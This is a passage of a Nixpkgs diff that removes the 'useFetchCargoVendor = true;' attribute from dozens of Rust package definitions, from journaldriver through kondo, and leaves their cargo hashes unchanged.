index d69c1dc59e5c..bf6cd7a9b541 100644
--- a/pkgs/by-name/jo/journaldriver/package.nix
+++ b/pkgs/by-name/jo/journaldriver/package.nix
@@ -10,7 +10,7 @@
 rustPlatform.buildRustPackage {
   pname = "journaldriver";
   version = "5656.0.0";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-ycnmLHKWRwKbdY1LZJ+BSwGfXfYJCWbbbFcqfBj3y/Y=";
 
   src = fetchgit {
diff --git a/pkgs/by-name/jq/jql/package.nix b/pkgs/by-name/jq/jql/package.nix
index 0dc871b3f14c..0ee0c6d892d6 100644
--- a/pkgs/by-name/jq/jql/package.nix
+++ b/pkgs/by-name/jq/jql/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bb3QoODsVZaTw5mcagvcGLn8uwG48nmHPgtlIC2ZdVE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7+qlQf44DgjijKlM+HRjyubH3W/PJbortri3ur0ASnk=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/jr/jrsonnet/package.nix b/pkgs/by-name/jr/jrsonnet/package.nix
index 67353bd87784..6ce5831391aa 100644
--- a/pkgs/by-name/jr/jrsonnet/package.nix
+++ b/pkgs/by-name/jr/jrsonnet/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-OX+iJJ3vdCsWWr8x31psV9Vne6xWDZnJc83NbJqMK1A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-DA31NatwQyf3RPpaI38DdAujpRyZfJvoHgr2CZSjH3s=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/js/jsonschema-cli/package.nix b/pkgs/by-name/js/jsonschema-cli/package.nix
index 7bbb04ea228a..0a1440712687 100644
--- a/pkgs/by-name/js/jsonschema-cli/package.nix
+++ b/pkgs/by-name/js/jsonschema-cli/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-AjBVvEixkP7khm3/0U81E/G7tCKoqnfNG05gpgYlqNE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3hZAEjJrJ5vw6kXwY+xTv/mO0lx/KNmXA2lULJkX9aE=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/js/jsonwatch/package.nix b/pkgs/by-name/js/jsonwatch/package.nix
index d70642d319bc..33b26b93ad68 100644
--- a/pkgs/by-name/js/jsonwatch/package.nix
+++ b/pkgs/by-name/js/jsonwatch/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-/DYKjhHjfXPWpU1RFmRUbartSxIBgVP59nbgwKMd0jg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QVS+b/mH7hnzaZjnGg8rw6k11uOuKGFeiPoXyqwD8tk=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ju/jujutsu/package.nix b/pkgs/by-name/ju/jujutsu/package.nix
index 9029d54110f9..2fcd4254906f 100644
--- a/pkgs/by-name/ju/jujutsu/package.nix
+++ b/pkgs/by-name/ju/jujutsu/package.nix
@@ -27,8 +27,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-jyhjKppwK+emwLEXtOJKU0f4mPdLzDrQabnHhpyUzmw=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-1bb7YWXExS62s83rprHa0byUBJUCdw6JDYkQ3VZcje8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ju/jumpy/package.nix b/pkgs/by-name/ju/jumpy/package.nix
index ce5738d39b41..fd01ccc1689b 100644
--- a/pkgs/by-name/ju/jumpy/package.nix
+++ b/pkgs/by-name/ju/jumpy/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-ggePJH2kKJ17aOWRKUnLyolIdSzlc6Axf5Iw74iFfek=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-hVEpTNTXwOQoxlhOewUvHyfBh+APnx8Fox90CmdMRQ4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ju/just/package.nix b/pkgs/by-name/ju/just/package.nix
index b43c24226ac8..f2ef1d2f5dc1 100644
--- a/pkgs/by-name/ju/just/package.nix
+++ b/pkgs/by-name/ju/just/package.nix
@@ -35,7 +35,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pmuwZoBIgUsKWFTXo8HYHVxrDWPMO8cumD/UHajFS6A=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mQQGxtSgNuRbz/83eWru+dmtWiLSKdVH+3z88BNugQE=";
 
   nativeBuildInputs =
diff --git a/pkgs/by-name/jw/jwt-cli/package.nix b/pkgs/by-name/jw/jwt-cli/package.nix
index 426027419fe7..30449323597b 100644
--- a/pkgs/by-name/jw/jwt-cli/package.nix
+++ b/pkgs/by-name/jw/jwt-cli/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-2pYCNLopvIHcKiN4qewQCdkGWHYQ6vQVCaApxGsRG9E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lp2I5+zvFM46TmejtNn/qgVlAaL+xL9slZHduccO/5Q=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/jw/jwtinfo/package.nix b/pkgs/by-name/jw/jwtinfo/package.nix
index 75de488a9ef7..d307f2c846e3 100644
--- a/pkgs/by-name/jw/jwtinfo/package.nix
+++ b/pkgs/by-name/jw/jwtinfo/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-FDN9K7KnMro2BluHB7I0HTDdT9YXxi8UcOoBhKx/5dA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pRlnZAFsEBGz0yYfcZ0SCiH2om8URQ4J3+c01pBT7ag=";
 
   meta = {
diff --git a/pkgs/by-name/ka/kak-tree-sitter-unwrapped/package.nix b/pkgs/by-name/ka/kak-tree-sitter-unwrapped/package.nix
index 0c9bd4266e6b..362f4999896c 100644
--- a/pkgs/by-name/ka/kak-tree-sitter-unwrapped/package.nix
+++ b/pkgs/by-name/ka/kak-tree-sitter-unwrapped/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vQZ+zQgwIw5ZBdIuMDD37rIdhe+WpNBmq0TciXBNiSU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dcq25kDS+dFC4eBX6EWANWpeJjwR4q1mQP/2PKPIOsc=";
 
   passthru = {
diff --git a/pkgs/by-name/ka/kakoune-lsp/package.nix b/pkgs/by-name/ka/kakoune-lsp/package.nix
index bbbe29f0fd80..b2c0c6b762f1 100644
--- a/pkgs/by-name/ka/kakoune-lsp/package.nix
+++ b/pkgs/by-name/ka/kakoune-lsp/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
 
   patches = [ (replaceVars ./Hardcode-perl.patch { inherit perl; }) ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fb6RDcOLtkrUqw+BX2oa43d84BGF8IA2HxhdGgB94iU=";
 
   meta = {
diff --git a/pkgs/by-name/ka/kalker/package.nix b/pkgs/by-name/ka/kalker/package.nix
index be92531e950c..99fd3cfb6865 100644
--- a/pkgs/by-name/ka/kalker/package.nix
+++ b/pkgs/by-name/ka/kalker/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-fFeHL+Q1Y0J3rOgbFA952rjae/OQgHTznDI0Kya1KMQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LEP2ebthwtpPSRmJt0BW/T/lB6EE+tylyVv+PDt8UoQ=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/ka/kamp/package.nix b/pkgs/by-name/ka/kamp/package.nix
index f20546aaf340..59c474a7d9a3 100644
--- a/pkgs/by-name/ka/kamp/package.nix
+++ b/pkgs/by-name/ka/kamp/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-coBKVqSqYBpf0PdWKIODnbfQxbOyp5Di45+O66ZGK1Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+Jc3+3sN+muUk7yGZ0sDWR0xAwffZN14X0mcyF4EY20=";
 
   postInstall = ''
diff --git a/pkgs/by-name/ka/kanata/package.nix b/pkgs/by-name/ka/kanata/package.nix
index 1b949d4efc1d..3e55565f3373 100644
--- a/pkgs/by-name/ka/kanata/package.nix
+++ b/pkgs/by-name/ka/kanata/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-w/PeSqj51gJOWmAV5UPMprntdzinX/IL49D2ZUMfeSM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-T9fZxv3aujYparzVphfYBJ+5ti/T1VkeCeCqWPyllY8=";
 
   buildInputs = lib.optionals stdenv.hostPlatform.isDarwin [
diff --git a/pkgs/by-name/ka/kanha/package.nix b/pkgs/by-name/ka/kanha/package.nix
index 1395e113ac21..84a78dd7dadc 100644
--- a/pkgs/by-name/ka/kanha/package.nix
+++ b/pkgs/by-name/ka/kanha/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ftTmYCkra3x/oDgGJ2WSf6yLeKXkwLJXhjuBdv7fVLY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bO37UYApe1CbwcfG8j/1UPu6DlYqlGPLsh0epxh8x3M=";
 
   buildInputs = [ openssl ];
diff --git a/pkgs/by-name/ka/kanidm-provision/package.nix b/pkgs/by-name/ka/kanidm-provision/package.nix
index 4b1bd354e566..b473af070ea9 100644
--- a/pkgs/by-name/ka/kanidm-provision/package.nix
+++ b/pkgs/by-name/ka/kanidm-provision/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-m3bF4wFPVRc2E+E/pZc3js9T4rYbTejo/FFpysytWKw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dPTrIc/hTbMlFDXYMk/dTjqaNECazldfW43egDOwyLM=";
 
   nativeInstallCheckInputs = [ versionCheckHook ];
diff --git a/pkgs/by-name/ka/kanidm/generic.nix b/pkgs/by-name/ka/kanidm/generic.nix
index 58599b4bcd9a..134fcf36b967 100644
--- a/pkgs/by-name/ka/kanidm/generic.nix
+++ b/pkgs/by-name/ka/kanidm/generic.nix
@@ -39,7 +39,7 @@ in
 rustPlatform.buildRustPackage rec {
   pname = "kanidm" + (lib.optionalString enableSecretProvisioning "-with-secret-provisioning");
   inherit version cargoHash;
-  useFetchCargoVendor = true;
+
   cargoDepsName = "kanidm";
 
   src = fetchFromGitHub {
diff --git a/pkgs/by-name/ka/kapacitor/package.nix b/pkgs/by-name/ka/kapacitor/package.nix
index 1c294d5e3fcb..7203e0388f3e 100644
--- a/pkgs/by-name/ka/kapacitor/package.nix
+++ b/pkgs/by-name/ka/kapacitor/package.nix
@@ -43,7 +43,7 @@ let
       })
     ];
     sourceRoot = "${src.name}/libflux";
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-kbI1uUDE8JyFFtwV5k0EeeNGCZFQLXLobW/MilHX2Sg=";
     nativeBuildInputs = [ rustPlatform.bindgenHook ];
     buildInputs = lib.optional stdenv.hostPlatform.isDarwin libiconv;
diff --git a/pkgs/by-name/ka/kaput-cli/package.nix b/pkgs/by-name/ka/kaput-cli/package.nix
index fb7cf1cc0c11..ec6dcb76f9fe 100644
--- a/pkgs/by-name/ka/kaput-cli/package.nix
+++ b/pkgs/by-name/ka/kaput-cli/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-sy8k9L9rmiRFzvhLc+hYl9OqmmP8INLxMNRjAx7/V8g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-yb56rrPlTuc7O4fF9NPNB2djCfq3fLu2hD4gUjRHvqM=";
 
   env = {
diff --git a/pkgs/by-name/ka/karlender/package.nix b/pkgs/by-name/ka/karlender/package.nix
index b293bcbb1133..09a183858dd2 100644
--- a/pkgs/by-name/ka/karlender/package.nix
+++ b/pkgs/by-name/ka/karlender/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-PwXSJq4uBtgIA2aQ5AZawEMmHoVS2Z9haVHyJ2oyXUs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-senSpsmScj1IFXLfvmsllmRNB6FzrALGnQeG7IHw9es=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/kb/kbs2/package.nix b/pkgs/by-name/kb/kbs2/package.nix
index cc091e6c4846..cecee821f312 100644
--- a/pkgs/by-name/kb/kbs2/package.nix
+++ b/pkgs/by-name/kb/kbs2/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-o8/ENAWzVqs7rokST6xnyu9Q/pKqq/UnKWOFRuIuGes=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+TJ/QG+6ZILcSZEIXj6B4qYF0P5pQpo1kw2qEfE0FDw=";
 
   nativeBuildInputs = [ installShellFiles ] ++ lib.optionals stdenv.hostPlatform.isLinux [ python3 ];
diff --git a/pkgs/by-name/kb/kbt/package.nix b/pkgs/by-name/kb/kbt/package.nix
index 08b1503ea263..6157af531561 100644
--- a/pkgs/by-name/kb/kbt/package.nix
+++ b/pkgs/by-name/kb/kbt/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ROCZDa5eyGF9yE+zdZ4snzdz8+jk+H6ZnqsnCe8JtJw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wG1uB/oOUUAQVpGXe7sTqt9tLmFoLrOAmeat/d1xOM8=";
 
   nativeBuildInputs = lib.optionals stdenv.hostPlatform.isLinux [
diff --git a/pkgs/by-name/kc/kclvm/package.nix b/pkgs/by-name/kc/kclvm/package.nix
index dbe6b3bf8d79..75da47291ac2 100644
--- a/pkgs/by-name/kc/kclvm/package.nix
+++ b/pkgs/by-name/kc/kclvm/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/kclvm";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-eJ3Gh2l6T2DxJRQRHamPOr/ILtzsqFB497DdXVJ90RE=";
 
   buildInputs = [ rustc ];
diff --git a/pkgs/by-name/kc/kclvm_cli/package.nix b/pkgs/by-name/kc/kclvm_cli/package.nix
index b205e1484df0..98ae1e93d297 100644
--- a/pkgs/by-name/kc/kclvm_cli/package.nix
+++ b/pkgs/by-name/kc/kclvm_cli/package.nix
@@ -17,7 +17,7 @@ rustPlatform.buildRustPackage rec {
   };
 
   sourceRoot = "${src.name}/cli";
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-ZhrjxHqwWwcVkCVkJJnVm2CZLfRlrI2383ejgI+B2KQ=";
   cargoPatches = [ ./cargo_lock.patch ];
 
diff --git a/pkgs/by-name/kd/kdash/package.nix b/pkgs/by-name/kd/kdash/package.nix
index 6648c35bf91d..63dc1b478fed 100644
--- a/pkgs/by-name/kd/kdash/package.nix
+++ b/pkgs/by-name/kd/kdash/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
     xorg.xcbutil
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-72DuM64wj8WW6soagodOFIeHvVn1CPpb1T3Y7GQYsbs=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/kd/kdlfmt/package.nix b/pkgs/by-name/kd/kdlfmt/package.nix
index 9dd569ba0296..16e41e87d260 100644
--- a/pkgs/by-name/kd/kdlfmt/package.nix
+++ b/pkgs/by-name/kd/kdlfmt/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-nnr3QXEXQGbJKjVvQXqhJ+iFBgI++AKK3wKMt2OqIYc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VMjsTVJ9pyI1pdvkD5nAgFELK+o2tl5lu6peN87ssqs=";
 
   meta = {
diff --git a/pkgs/by-name/kd/kdotool/package.nix b/pkgs/by-name/kd/kdotool/package.nix
index f63b96ef0898..eccab152e644 100644
--- a/pkgs/by-name/kd/kdotool/package.nix
+++ b/pkgs/by-name/kd/kdotool/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-qx4bWAFQcoLM/r4aNzmoZdjclw8ccAW8lKLda6ON1aQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ASR2zMwVCKeEZPYQNoO54J00eZyTn1i6FE0NBCJWSCs=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ke/keedump/package.nix b/pkgs/by-name/ke/keedump/package.nix
index f8820753b397..a73a919e115c 100644
--- a/pkgs/by-name/ke/keedump/package.nix
+++ b/pkgs/by-name/ke/keedump/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-V7wQZoUnISELuzjSUz+CJ77XJvlnGBK2n4U4pKlk+xI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ogfLMkTzGwYADDfn05IOXiOSJzk5iN2GJ6kaT9L9sqM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ke/keepass-diff/package.nix b/pkgs/by-name/ke/keepass-diff/package.nix
index c8ccc8420420..6a9d334d7400 100644
--- a/pkgs/by-name/ke/keepass-diff/package.nix
+++ b/pkgs/by-name/ke/keepass-diff/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CqLH5Dosp26YfqgOVcZilfo5svAEv+pAbi1zebGMnb4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QjcXeLLIvegzETIu3xbZQ+o2WYxR6xkALVOOWYWhGUo=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ke/kepler/package.nix b/pkgs/by-name/ke/kepler/package.nix
index ebdadf611ed2..c8b573c5d444 100644
--- a/pkgs/by-name/ke/kepler/package.nix
+++ b/pkgs/by-name/ke/kepler/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-jmQ88flSMrS0CB7GNj1Ee60HZgroDKTwLk0i/kg6gVM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5ORjyzCkX3j62pL4S8CqSXExZUjTIO0db99oIuczEY0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ke/kestrel/package.nix b/pkgs/by-name/ke/kestrel/package.nix
index 85ee8fbd1a9b..6742cde2e6f3 100644
--- a/pkgs/by-name/ke/kestrel/package.nix
+++ b/pkgs/by-name/ke/kestrel/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bKQBOk9yUqgnufRyyqXatsRHpesbM49rAkz0dD5XE80=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cwEHxbRFdOLmQy0FS4U6g785szMWISe6vkXvtj4VwPs=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ke/keyscope/package.nix b/pkgs/by-name/ke/keyscope/package.nix
index 9165234eea67..043832efd7ea 100644
--- a/pkgs/by-name/ke/keyscope/package.nix
+++ b/pkgs/by-name/ke/keyscope/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-2DhKiQixhTCQD/SYIQa+o1kzEsslu6wAReuWr0rTrH8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-f4r0zZTkVDfycrGqRCaBQrncpAm0NP6XYkj3w7fzQeY=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ki/kibi/package.nix b/pkgs/by-name/ki/kibi/package.nix
index 0f88f8f83657..cb2512e7e0cf 100644
--- a/pkgs/by-name/ki/kibi/package.nix
+++ b/pkgs/by-name/ki/kibi/package.nix
@@ -9,7 +9,6 @@ rustPlatform.buildRustPackage rec {
   pname = "kibi";
   version = "0.2.2";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7SOkREsGiolT5LxLAbjZe3aAYBT/AlhlOXDlDmoei9w=";
 
   src = fetchFromGitHub {
diff --git a/pkgs/by-name/ki/kickoff/package.nix b/pkgs/by-name/ki/kickoff/package.nix
index f790145141fd..5dfc9c2f9c4e 100644
--- a/pkgs/by-name/ki/kickoff/package.nix
+++ b/pkgs/by-name/ki/kickoff/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-V4MkVjg5Q8eAJ80V/4SvEIwjVy35/HVewaR1caYLguw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bkum6NOQL0LVsLvOmKljFHE86ZU3lLDR8+I3wL0Efmk=";
 
   libPath = lib.makeLibraryPath [
diff --git a/pkgs/by-name/ki/kickstart/package.nix b/pkgs/by-name/ki/kickstart/package.nix
index 464de7d1ec80..2783a427ade6 100644
--- a/pkgs/by-name/ki/kickstart/package.nix
+++ b/pkgs/by-name/ki/kickstart/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-4POxv6fIrp+wKb9V+6Y2YPx3FXp3hpnkq+62H9TwGII=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-J9sGXJbGbO9UgZfgqxqzbiJz9j6WMpq3qC2ys7OJnII=";
 
   buildFeatures = [ "cli" ];
diff --git a/pkgs/by-name/ki/kile-wl/package.nix b/pkgs/by-name/ki/kile-wl/package.nix
index d21e9f3804f9..d09dcfe3a6f1 100644
--- a/pkgs/by-name/ki/kile-wl/package.nix
+++ b/pkgs/by-name/ki/kile-wl/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage {
     tagPrefix = "v";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-HcwdUwhiSkULCevsHTnRyazNfHDvLZv44SFXKxrHxYY=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ki/killport/package.nix b/pkgs/by-name/ki/killport/package.nix
index 91565de392ae..d7026fc47e82 100644
--- a/pkgs/by-name/ki/killport/package.nix
+++ b/pkgs/by-name/ki/killport/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-eyRI4ZVp9HPMvpzyV9sQdh2r966pCdyUPnEhxGkzH3Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rJgbTJGRZNev5hPyH7NuRB0Utpdbh6zoYQL4rbfhn2Y=";
 
   nativeBuildInputs = [ rustPlatform.bindgenHook ];
diff --git a/pkgs/by-name/ki/kind2/package.nix b/pkgs/by-name/ki/kind2/package.nix
index 0d1840400d7f..1de95f77d260 100644
--- a/pkgs/by-name/ki/kind2/package.nix
+++ b/pkgs/by-name/ki/kind2/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-X2sjfYrSSym289jDJV3hNmcwyQCMnrabmGCUKD5wfdY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-G6UW8m/6D+hgRRceMPYFI+k4D7Ui6sDUDzI5IVWvVyc=";
 
   postPatch = ''
diff --git a/pkgs/by-name/ki/kitty-img/package.nix b/pkgs/by-name/ki/kitty-img/package.nix
index b7797ce6f3bf..bec299ae6c09 100644
--- a/pkgs/by-name/ki/kitty-img/package.nix
+++ b/pkgs/by-name/ki/kitty-img/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-liqLocNIIOmkVWI8H9WU7T352sK7sceVtOX+R0BQ/uk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-50M1TUGvjELARt/gvtyAPNL0hG1ekKwdefI9nMEsTo0=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ki/kittycad-kcl-lsp/package.nix b/pkgs/by-name/ki/kittycad-kcl-lsp/package.nix
index dd541628de11..f20c1b91bbb5 100644
--- a/pkgs/by-name/ki/kittycad-kcl-lsp/package.nix
+++ b/pkgs/by-name/ki/kittycad-kcl-lsp/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-IQfR2B9HyZXEDKcp5J7466SRbq2qWS+eodtTKkgJprM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OlAy/WqoLRwkk1x4dOXE8MzBzeLyofQDVv81aR/sIMQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ki/kittysay/package.nix b/pkgs/by-name/ki/kittysay/package.nix
index 7ab11b806168..5548c8200619 100644
--- a/pkgs/by-name/ki/kittysay/package.nix
+++ b/pkgs/by-name/ki/kittysay/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-ZYHrDBJ8cTqJAh2KUGSCsS1bY/emHRodPxZX2vxAhDs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LIAXlOArm5V7Kbm82GDRs3XvMTgKjuOL2C+fQfEDwb4=";
 
   meta = {
diff --git a/pkgs/by-name/kl/klipper-estimator/package.nix b/pkgs/by-name/kl/klipper-estimator/package.nix
index fb1668c33bef..39d62106550a 100644
--- a/pkgs/by-name/kl/klipper-estimator/package.nix
+++ b/pkgs/by-name/kl/klipper-estimator/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-EjfW2qeq0ehGhjE2Psz5g/suYMZPvtQi2gaYb+NCa2U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-wMgFkzgoHjvE+5t+cA5OW2COXbUj/5tWXz0Zp9cd5lw=";
 
   env.TOOL_VERSION = "v${version}";
diff --git a/pkgs/by-name/kl/klog-rs/package.nix b/pkgs/by-name/kl/klog-rs/package.nix
index cf85787623fa..94be554149fa 100644
--- a/pkgs/by-name/kl/klog-rs/package.nix
+++ b/pkgs/by-name/kl/klog-rs/package.nix
@@ -15,7 +15,7 @@ rustPlatform.buildRustPackage rec {
     rev = version;
     hash = "sha256-X7VUbn2DQx4Wo526COGAp0IFPPhh1vObxP/b6oYFWG4=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-veE992wYv8SwAbvaqe3nVymxTbaMYEDWtLnisnyNOn4=";
   checkFlags = [
     # this integration test depends on a running kubernetes cluster
diff --git a/pkgs/by-name/km/kmon/package.nix b/pkgs/by-name/km/kmon/package.nix
index 6222a438ad23..e50a962cda7d 100644
--- a/pkgs/by-name/km/kmon/package.nix
+++ b/pkgs/by-name/km/kmon/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-DzbbeVZifuxgmIu3yNv6EI7Jyh8MA0/oSaR5IEPNUN8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-B1sxbifMTnr6tLZCAuxVlQPL5oKCUL0wtw3/wOyfyyw=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ko/koji/package.nix b/pkgs/by-name/ko/koji/package.nix
index 64a927d3ad86..e027507273b6 100644
--- a/pkgs/by-name/ko/koji/package.nix
+++ b/pkgs/by-name/ko/koji/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-+xtq4btFbOfiyFMDHXo6riSBMhAwTLQFuE91MUHtg5Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WiFXDXLJc2ictv29UoRFRpIpAqeJlEBEOvThXhLXLJA=";
 
   OPENSSL_NO_VENDOR = 1;
diff --git a/pkgs/by-name/ko/komac/package.nix b/pkgs/by-name/ko/komac/package.nix
index dee7386d8db5..633b2a8ba813 100644
--- a/pkgs/by-name/ko/komac/package.nix
+++ b/pkgs/by-name/ko/komac/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-+PFrncAi0E9SvzfbTBftA5uiDf5LtysIeuIWqwbu2yE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MDrRKV34JzgayUuemULXLS2GwhlkQKB07LH3X+cVSLk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ko/komodo/package.nix b/pkgs/by-name/ko/komodo/package.nix
index a280a0251edc..550cbfce774e 100644
--- a/pkgs/by-name/ko/komodo/package.nix
+++ b/pkgs/by-name/ko/komodo/package.nix
@@ -16,8 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vIK/4WH85qTdjXBX32F6P/XEHdsNw2Kd86btjfl13lE=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-YCSxMcuzN1IroDfbj18yjGT0ua1xfY4l0dJ/OZhHPZw=";
 
   # disable for check. document generation is fail
diff --git a/pkgs/by-name/ko/kondo/package.nix b/pkgs/by-name/ko/kondo/package.nix
index 051dc8236e2b..842c671f5248 100644
--- a/pkgs/by-name/ko/kondo/package.nix
+++ b/pkgs/by-name/ko/kondo/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OqOmOujnyLTqwzNvLWudQi+xa5v37JTtyUXaItnpnfs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jmN7mtQ3CXfyeYrYD+JBE6ppln8+VJRBzygmczo8M04=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ko/kontroll/package.nix b/pkgs/by-name/ko/kontroll/package.nix
